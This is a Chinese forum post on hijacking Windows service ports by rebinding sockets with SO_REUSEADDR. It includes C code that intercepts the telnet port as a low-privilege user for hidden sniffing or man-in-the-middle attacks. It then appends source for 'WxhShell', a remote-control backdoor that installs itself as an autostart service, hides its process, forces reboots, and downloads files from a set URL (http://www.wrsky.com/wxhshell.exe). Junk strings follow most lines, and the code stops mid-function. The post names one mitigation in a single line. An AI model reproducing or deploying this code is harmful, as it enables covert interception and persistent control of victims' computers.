社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 12763阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 'E8dkVlI  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >Q\H1|?  
ELNA-ZKp  
  saddr.sin_family = AF_INET;  WU,72g=  
$t </{]iX  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); qXW2a'~  
B 9]sSx  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !r!Mq~X<=  
7!N5uR  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 uJp}9B60_  
g9"_BG  
  这意味着什么?意味着可以进行如下的攻击: 1y8:tri>N  
7#|NQ=yd  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Sdt2D  
&akMj@4;R  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) s9:2aLZ {  
f&cG;Y  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3yD5u  
|-aj$u%~  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  yb**|[By  
3x9C]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 r@<;  
6nSk,yE'hE  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 w)8@Tu:Q  
$kz5)vj "  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~O 6~',KD  
o-' i)pp  
  #include $ .Z2Rdlv(  
  #include 6k3l/~R  
  #include fAUsJ[  
  #include    '}YXpB  
  DWORD WINAPI ClientThread(LPVOID lpParam);   YL=k&Q G  
  int main() tw3d>H`  
  { 6$dm-BI  
  WORD wVersionRequested; $-AvH( @  
  DWORD ret; f"0H9  
  WSADATA wsaData; Y@\5gZ&T  
  BOOL val; o%9>elOju  
  SOCKADDR_IN saddr; -MEz`7c~  
  SOCKADDR_IN scaddr; S+>]8ZY  
  int err; x)yf!Dv5$  
  SOCKET s; fY"28#   
  SOCKET sc; EhUy7b,1_  
  int caddsize; RK3/!C`  
  HANDLE mt; n*6s]iG V  
  DWORD tid;   `U1%d7[vY  
  wVersionRequested = MAKEWORD( 2, 2 ); i:8^:(i  
  err = WSAStartup( wVersionRequested, &wsaData ); Cw|SY  
  if ( err != 0 ) { qRGb3l  
  printf("error!WSAStartup failed!\n"); C[&&.w8Pm  
  return -1; c_a$g  
  } +l/j6)O`(m  
  saddr.sin_family = AF_INET; EH "g`r  
   M>J ADt_]  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 o%QQ7S3 P  
d$,i?d,  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -pGt ;  
  saddr.sin_port = htons(23); E6@ ;e-]j  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {n{}Y.  
  { :{ T#M$T  
  printf("error!socket failed!\n"); 3ElpS^ 2W  
  return -1; .- Lqo=o\  
  } n1/lE)  
  val = TRUE; \ +xIH  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 PC_4#6^5  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &"h!SkX/  
  { zB$6e!fc  
  printf("error!setsockopt failed!\n"); 7Mv$.Z(  
  return -1; .nH /=  
  } 6qJB"_.  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 66Xt=US  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *&0Hz{|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9|WWA%p  
` ;=Se_  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) f,a %@WT  
  { Lb{D5k*XU  
  ret=GetLastError(); U[D<%7f  
  printf("error!bind failed!\n"); ZtLn*M  
  return -1; ggTjd"|)  
  } ncdr/(`  
  listen(s,2); W7o/  
  while(1) {|E7N"Qzg  
  { ui{_w @o  
  caddsize = sizeof(scaddr); {LD8ie|x1`  
  //接受连接请求 y4L9Cxvs  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); NFc8"7Mz}  
  if(sc!=INVALID_SOCKET) ksaC[G;}:  
  { A,e^bM  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Mv=cLG?X  
  if(mt==NULL) 'X,V  
  { E}=,"i  
  printf("Thread Creat Failed!\n"); cj<@~[uw  
  break; gAY2|/,  
  } KxwLKaImI  
  } !gf3%!%  
  CloseHandle(mt); UVJ(iNK"  
  } urB3  
  closesocket(s); [alXD_  
  WSACleanup(); ex+AT;o  
  return 0; 5Z,lWp2A  
  }   /,UkT*+>!  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~`E4E  
  { B^?XE(.  
  SOCKET ss = (SOCKET)lpParam; #+PbcL  
  SOCKET sc; o {LFXNcg[  
  unsigned char buf[4096]; EvmmQ  
  SOCKADDR_IN saddr; 1W[(+TZ&s  
  long num; Q9>]@DrAx  
  DWORD val; Y%l3SB,5L  
  DWORD ret; ~Wm}M  
  //如果是隐藏端口应用的话,可以在此处加一些判断 :a@z53X@M  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $SVGpEw  
  saddr.sin_family = AF_INET; )+,jal^7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); " G6j UTt  
  saddr.sin_port = htons(23); 8w[EyVHA  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9Ol_z\5  
  { l5ds`uR#  
  printf("error!socket failed!\n"); }z+"3A|  
  return -1; [1^wy#  
  } UJ$:5*S=u  
  val = 100; T6roz  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,P@-DDJ  
  { *$C[![   
  ret = GetLastError(); ]?`p_G3O  
  return -1; vqi$}=%n?W  
  } SYPMoE!U:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l|em E ^  
  { \q'fB?bS^  
  ret = GetLastError(); Z;\"pP:  
  return -1; 6ya87H'e@  
  } <@2# VG  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) X$iJ|=vW  
  { Wb )l8[=  
  printf("error!socket connect failed!\n"); ;w(1Ydo  
  closesocket(sc); arKmc@"X  
  closesocket(ss); "|*Kf#  
  return -1; >o#wP  
  } 'a^tL[rLP1  
  while(1) =Fy8rTdk6r  
  { ]G PJ(+5  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 otD?J= B  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *yq]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 zn1Rou]6  
  num = recv(ss,buf,4096,0); qU*&49X  
  if(num>0) ]\,uF8gg)  
  send(sc,buf,num,0); UH-uU~  
  else if(num==0) s[@>uP  
  break; 2\B9o `Y  
  num = recv(sc,buf,4096,0); A=d$ir K[  
  if(num>0) n o+tVm|  
  send(ss,buf,num,0); )2Ru!l#  
  else if(num==0) S} Cp&}G{P  
  break; R 0HVLQI  
  } .]s( c!{y  
  closesocket(ss); 9XqAjez\  
  closesocket(sc); EvQwGt1)P  
  return 0 ; ZNpExfGEU  
  } yPh2P5}H>  
Ca@=s  
hdJwNmEA>  
========================================================== 'F"Y?y:!  
RrdtU7i3  
下边附上一个代码,,WXhSHELL 0/@ X!|X  
xTFrrmxOf  
========================================================== tK}p05nPhl  
7Ljj#!`lUp  
#include "stdafx.h" =/JF-#n/MA  
uoY`qF.`  
#include <stdio.h> _pko]F|()  
#include <string.h> {hRie+  
#include <windows.h> O& %"F8B  
#include <winsock2.h> pNE\@U|4E  
#include <winsvc.h> @ PoFxv  
#include <urlmon.h> "E)++\JL  
AYA&&b  
#pragma comment (lib, "Ws2_32.lib") W#jZRviyq!  
#pragma comment (lib, "urlmon.lib") A :bPIXb  
.n& Cq+U;  
#define MAX_USER   100 // 最大客户端连接数 A9l})_~i  
#define BUF_SOCK   200 // sock buffer ~/jxB)t  
#define KEY_BUFF   255 // 输入 buffer v;]I^Kq  
BT#=Xh  
#define REBOOT     0   // 重启 4[,B;7  
#define SHUTDOWN   1   // 关机 }#HTO:r  
"G9'm  
#define DEF_PORT   5000 // 监听端口 ) Zb`~w  
f./m7TZ  
#define REG_LEN     16   // 注册表键长度 =6Sj}/   
#define SVC_LEN     80   // NT服务名长度 Wd` QpW  
C nSX  
// 从dll定义API s'aV qB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q bZ,K@0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s w.AfRQP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); EhIV(q9x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); seuN,jpt  
Yl&tkSw46  
// wxhshell配置信息 FfxX)p1t  
struct WSCFG { SQt|(r)  
  int ws_port;         // 监听端口 wL-ydMIx  
  char ws_passstr[REG_LEN]; // 口令 7}'A)C>J;  
  int ws_autoins;       // 安装标记, 1=yes 0=no od}EM_  
  char ws_regname[REG_LEN]; // 注册表键名 vf'cx:m  
  char ws_svcname[REG_LEN]; // 服务名 `!omzE*bk5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {nQ)4.e6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 qH h'l;.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0i*'N ch#i  
int ws_downexe;       // 下载执行标记, 1=yes 0=no w~$c= JO#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ewAH'H]o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~S^X"8(U  
`o_fUOe8a  
}; juCG?}di;  
XnE %$NJ  
// default Wxhshell configuration <cDKGd  
struct WSCFG wscfg={DEF_PORT, O[(?.9  
    "xuhuanlingzhe", RF4$  
    1, \U!@OX.R'M  
    "Wxhshell", Ac[|MBaF  
    "Wxhshell", d2A wvP  
            "WxhShell Service", I>H;o{X#  
    "Wrsky Windows CmdShell Service", %|*nmIPq(  
    "Please Input Your Password: ", Foe>}6~{?  
  1, VqD[G<|9T  
  "http://www.wrsky.com/wxhshell.exe", P^8^1-b  
  "Wxhshell.exe" V/3 {^Fcr  
    }; ~[zFQ)([  
.lvI8Jf~X  
// 消息定义模块 b$v[@"1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ntj`+7mw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; lk[G;=K:.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B0)`wsb_  
char *msg_ws_ext="\n\rExit."; 8 _4l"v p  
char *msg_ws_end="\n\rQuit."; oI_oz0nHk  
char *msg_ws_boot="\n\rReboot..."; -v;n"Zy1  
char *msg_ws_poff="\n\rShutdown..."; F<yy>Wf  
char *msg_ws_down="\n\rSave to "; s-C!uq  
cXk6e.Uz  
char *msg_ws_err="\n\rErr!"; ha|@ X p  
char *msg_ws_ok="\n\rOK!"; .Na&I)udX.  
S9HBr  
char ExeFile[MAX_PATH]; 9u ?)vR[@e  
int nUser = 0; }z%OnP  
HANDLE handles[MAX_USER]; selP=Q!  
int OsIsNt; +z:CZ(fb  
b|sc'eP#?  
SERVICE_STATUS       serviceStatus; @PPR$4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (ve+,H6w\  
]~ !X iCqu  
// 函数声明 Qj 6gg  
int Install(void); cc|CC Zl  
int Uninstall(void); *.m{jgi1X  
int DownloadFile(char *sURL, SOCKET wsh); Pqy-gWOv  
int Boot(int flag); N>d|A]zH  
void HideProc(void); :cc[Jco@w  
int GetOsVer(void); }rz dm9  
int Wxhshell(SOCKET wsl); /~i.\^HX  
void TalkWithClient(void *cs); Gr5`1`8|  
int CmdShell(SOCKET sock); ZjU=~)O}H  
int StartFromService(void); GA|/7[I}  
int StartWxhshell(LPSTR lpCmdLine); wv, GBZ-f  
/x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bKk CW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \npz .g^c_  
W\it+/  
// 数据结构和表定义 !}>eo2$r^  
SERVICE_TABLE_ENTRY DispatchTable[] = F2IC$:e M  
{ 8yE!7$Mj  
{wscfg.ws_svcname, NTServiceMain}, 9?uqQ  
{NULL, NULL} :O9P(X*  
}; koOyZ>  
jrm0@K+<IA  
// 自我安装 H<`^w)?  
int Install(void) V~OUE]]Q  
{ O.*jR`l  
  char svExeFile[MAX_PATH]; XnBm`vk?V!  
  HKEY key; O6y @G .+  
  strcpy(svExeFile,ExeFile); ~TYbP  
o"|O ]  
// 如果是win9x系统,修改注册表设为自启动 .aNO( /kO  
if(!OsIsNt) { j#N(1}r=1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }*iAE>;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 89zuL18V  
  RegCloseKey(key); luW <V>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h ZoC _\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g-."sniP$g  
  RegCloseKey(key); |/@0~O(6  
  return 0; A)8rk_92Q  
    } mR"uhm}q  
  } {bN Y  
} 6 -]>]Hr-  
else { -NAmu97V}  
;K3d' U  
// 如果是NT以上系统,安装为系统服务 <O;&qT*b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }dy9I H  
if (schSCManager!=0) A?e,U,  
{ "?$L'!bM@  
  SC_HANDLE schService = CreateService A&N$tH  
  ( /sy-;JDnsu  
  schSCManager, csYy7uzi  
  wscfg.ws_svcname, r+o_t2_b*  
  wscfg.ws_svcdisp, 7g-Dfg.w  
  SERVICE_ALL_ACCESS, 4Mk8Cpz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f, |QAj=a  
  SERVICE_AUTO_START, MzcB3pi  
  SERVICE_ERROR_NORMAL, x'@W=P 7   
  svExeFile, ^>-+@+( r  
  NULL, qtO1hZ  
  NULL, >yX/+p_  
  NULL, d>Un J)V}  
  NULL, V]Sgx00;  
  NULL >wA+[81[  
  ); vruD U#  
  if (schService!=0) -(!uC +BZX  
  { K k7GZ  
  CloseServiceHandle(schService); R6 ;jY/*#  
  CloseServiceHandle(schSCManager); NN^QUB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "c6<zP  
  strcat(svExeFile,wscfg.ws_svcname); bV_j`:MD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W;qP=DK2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C?/r;  
  RegCloseKey(key); 8+ov(B;(  
  return 0; 22z1g(; @  
    } YNI;h%w  
  } yx2z%E  
  CloseServiceHandle(schSCManager); C#0brCQq3  
} (i\)|c/a7  
} [O\9 9>  
"9w}dQ  
return 1; &I%IaNco  
} -OWZ6#v(  
#*^e,FF<  
// 自我卸载 4h;4!I|  
int Uninstall(void) )T9~8p.  
{ Yr=8!iR$  
  HKEY key; sZKEUSFD #  
c+8V|'4  
if(!OsIsNt) { _C20 +PMO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { syR N4  
  RegDeleteValue(key,wscfg.ws_regname); YGETMIT(  
  RegCloseKey(key); H37Qg ApB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m^Glc?g<  
  RegDeleteValue(key,wscfg.ws_regname); 4Ac}(N5D@  
  RegCloseKey(key); _B3zRO  
  return 0; TKo<~?  
  } #ra*f~G  
} +Juh:1H  
} 6|5H=*)DH  
else { `^x9(i/NE  
H'Nq#K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -G-3q6A  
if (schSCManager!=0) BKay*!'PX  
{ 3 <9{v  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~g7m3  
  if (schService!=0) <[ZI.+_Wt  
  { =G4u#t)  
  if(DeleteService(schService)!=0) { { D+Ym%n  
  CloseServiceHandle(schService); w.z<60%},0  
  CloseServiceHandle(schSCManager); ~@D/A/|  
  return 0; GWdSSr>  
  } 5rloK"  
  CloseServiceHandle(schService); RJhK$\  
  } ^&Q< tN 7  
  CloseServiceHandle(schSCManager); E=]]b;u-n  
} et` 0Je  
} QD$Gw-U-l=  
)S*1C@  
return 1; <: :VCA%  
} $Asr`Q1i   
g5Hr7K m  
// 从指定url下载文件 /OG zt  
int DownloadFile(char *sURL, SOCKET wsh) R 5(F)abi  
{ LTXz$Z]  
  HRESULT hr; dxCPV6 XI  
char seps[]= "/"; H O*YBL  
char *token; [9AM\n>g  
char *file; F?BS717qS%  
char myURL[MAX_PATH]; cDIBDC  
char myFILE[MAX_PATH]; 6e.[,-eU  
UFw](%=&M  
strcpy(myURL,sURL); E{% SR  
  token=strtok(myURL,seps); ,EI:gLH  
  while(token!=NULL) YG`? o  
  { kAo.C Nj7  
    file=token; o_$&XNC_  
  token=strtok(NULL,seps); ($8t%jVWJJ  
  } {[W(a<%bXm  
]Lm'RlV  
GetCurrentDirectory(MAX_PATH,myFILE); 8EI:(NE*J  
strcat(myFILE, "\\"); "%@v++4y  
strcat(myFILE, file); X{\jK]O  
  send(wsh,myFILE,strlen(myFILE),0); ),` 8eQC  
send(wsh,"...",3,0); v+6e;xl8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lP3h<j  
  if(hr==S_OK) orqJ[!u)`  
return 0; w7 *V^B  
else + >nr.,qo3  
return 1; Q4Q pn  
Ur3m[07H  
} WbcS: !0  
4TZ cc|B5  
// 系统电源模块 J# EP%  
int Boot(int flag) [Y8S[YY  
{ q7_+}"i  
  HANDLE hToken; Wekqn!h  
  TOKEN_PRIVILEGES tkp;  #^0(  
g) 1X&>  
  if(OsIsNt) { !OAvD#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %u!b& 5]e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !MV@) (.  
    tkp.PrivilegeCount = 1; W5 ec  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; suVmg-d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FFvCi@oT  
if(flag==REBOOT) { *x(Jq?5O7X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r4Q|5kT*i  
  return 0; zK;XF N#U^  
} e;(  
else { }r3~rG<D71  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U>Gg0`>  
  return 0; b1-&v|L  
} v&;:^jJ8  
  } D*2\{W/  
  else { G5Ykbw#  
if(flag==REBOOT) { bRsTBp;R`I  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tj5giQ3DG)  
  return 0; z7T0u.4Ss  
} r,NgG!zq<  
else { 6N" l{!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~x]9SXD%  
  return 0; Dl,`\b@Fw3  
} 2*1ft>Uty  
} 7x k|+!  
/+[63=fl  
return 1; -LWK*q[J;*  
} +B"0{>n}F  
;rR/5d1!  
// win9x进程隐藏模块 %!|O.xxRR  
void HideProc(void) Mvcfk$pA  
{ ar ^i|`D  
Or+p%K}-7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s\3q!A?S3  
  if ( hKernel != NULL ) sWqM?2g  
  { cUk*C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \?lz&<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5v _P Oq  
    FreeLibrary(hKernel); fZ{[]dn[  
  } |FNCXlgZ  
!#N\ b  
return; N#k61x  
} r{K;|'d%h  
(f#b7O-Wn  
// 获取操作系统版本 'EhBRU%  
int GetOsVer(void) L%h/OD  
{ >I'% !E;  
  OSVERSIONINFO winfo; i.y)mcB4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l=={pb  
  GetVersionEx(&winfo); 3z8C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) EL D!{bMT  
  return 1; JAjku6  
  else \ |!\V  
  return 0; K$[$4 dX]  
} 'Jj=RAV`  
Q[u6|jRt  
// 客户端句柄模块 >n*\bXf  
int Wxhshell(SOCKET wsl) J/x2qQ$9  
{ Ak BMwV  
  SOCKET wsh; P'$ `'J]j  
  struct sockaddr_in client; u8L$]vOg  
  DWORD myID; I;MD>%[W,  
fiDl8=~@  
  while(nUser<MAX_USER) n/Dp"4H%q  
{ /-M@[p&  
  int nSize=sizeof(client); ,kM)7!]N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /X*oS&-M  
  if(wsh==INVALID_SOCKET) return 1; zfI}Q}p  
=Lp7{09u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3$/ 4wH^  
if(handles[nUser]==0) q3w1GD  
  closesocket(wsh); +OHGn;C  
else U1R4x!ym4  
  nUser++; LIpEQ7;  
  } TnH\O$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); SNpi=K!yn  
wdas1  
  return 0; 3HC  
} CA s>AXbs  
>Aq:K^D/3F  
// 关闭 socket E-2 eOT  
void CloseIt(SOCKET wsh) Y] g?2N=E  
{ G4-z3e,crr  
closesocket(wsh); ,xi({{L*  
nUser--; AC- )BM';  
ExitThread(0); \XzM^K3  
} _^ |2}t  
[k%4eO2p"  
// 客户端请求句柄 4=<*Vd`p  
void TalkWithClient(void *cs) [ .,>wo~  
{ LlYTv% I  
W;_E4  
  SOCKET wsh=(SOCKET)cs; kUl  
  char pwd[SVC_LEN]; 6g:|*w  
  char cmd[KEY_BUFF]; WcUJhi^\C  
char chr[1]; !36]ud&  
int i,j; !cX[-}Q  
YTaLjITG  
  while (nUser < MAX_USER) { R^&q-M=O[  
8Cx^0  
if(wscfg.ws_passstr) { 1Y j~fb(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YK#fa2ng  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Dl\`  
  //ZeroMemory(pwd,KEY_BUFF); b1?xeG#  
      i=0; |V,<+BEi  
  while(i<SVC_LEN) { *f+: <=i  
/bRg?Q  
  // 设置超时 Xl-e !  
  fd_set FdRead; E,[xUz"  
  struct timeval TimeOut; J$ut_N):N  
  FD_ZERO(&FdRead); *ZCn8m:-+  
  FD_SET(wsh,&FdRead); _2ef LjXQ  
  TimeOut.tv_sec=8; $.E6S<(h  
  TimeOut.tv_usec=0; -G|a*^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P ,mN >  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Gu0 ,)jy\  
# TkR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QO;4}rq  
  pwd=chr[0]; KW3+luI6  
  if(chr[0]==0xd || chr[0]==0xa) { Li{~=S@N*  
  pwd=0; 2[yBD-":  
  break; N:5[,O<m_  
  } |UUdz_i!:  
  i++; P5 <vf  
    } w}cY6O,1  
dl]#  
  // 如果是非法用户,关闭 socket Yl cbW0'c  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V*[b} Xew  
} afG{lWE)  
[\z/Lbn ,.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fPa9ofU/kr  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?}QH=&=^  
DvXHK  
while(1) { #/S {6c  
 k+ o|0  
  ZeroMemory(cmd,KEY_BUFF); 7A$B{  
 vb{i  
      // 自动支持客户端 telnet标准   r#i?j}F}  
  j=0; \_6OCVil  
  while(j<KEY_BUFF) { ,El!fgL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n$L51#'  
  cmd[j]=chr[0]; @ EuFJ=h  
  if(chr[0]==0xa || chr[0]==0xd) { LJlZ^kh  
  cmd[j]=0; aBuoHdg;  
  break; V&{MQWy  
  } S_(d9GK<  
  j++; KFRw67^  
    } je,}_:7  
= "ts`>  
  // 下载文件 +a@GHx 4-  
  if(strstr(cmd,"http://")) { }WLh8i?_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d I'SwnR  
  if(DownloadFile(cmd,wsh)) JH,/jR  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~`MS~,,  
  else k"UO c=   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l:B;zi`)oB  
  } 1`0#HSO  
  else { #s-iy+/1oN  
*Nb#W!  
    switch(cmd[0]) { [tT8_}v$LN  
  <i\A_qqc/  
  // 帮助 C@\{ehG  
  case '?': { knp>m,w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cR7wx 0Aj  
    break; R[tC^]ai  
  } l: |D,q  
  // 安装 1%[_`J;>Z  
  case 'i': { QbFHfA2Ij  
    if(Install()) fT\:V5-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;F:fM!l=  
    else zt24qTKL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5f'DoT  
    break; PG%0yv%  
    } R{YzH56M  
  // 卸载 a dfR!&J  
  case 'r': { ,U,By~s  
    if(Uninstall()) C]u',9,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9' 1B/{  
    else E\7m< 'R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %V!iQzL1  
    break; d[gl]tj9  
    } 3L>IX8_   
  // 显示 wxhshell 所在路径 $"JpFT  
  case 'p': { NR%Y+8^M  
    char svExeFile[MAX_PATH]; ,Z9>h[JF  
    strcpy(svExeFile,"\n\r"); iO w3MfO  
      strcat(svExeFile,ExeFile); *hhmTc#  
        send(wsh,svExeFile,strlen(svExeFile),0); /hWd/H]  
    break; !\ND(  
    } V)M1YZV{  
  // 重启 5X.ebd;PT  
  case 'b': { +]xFoH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %hS|68pN6  
    if(Boot(REBOOT)) e'*HS7g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5i6 hp;=  
    else { >B -q@D  
    closesocket(wsh); AIl4]F5I  
    ExitThread(0); \5 pu|2u  
    } Fe&qwq"  
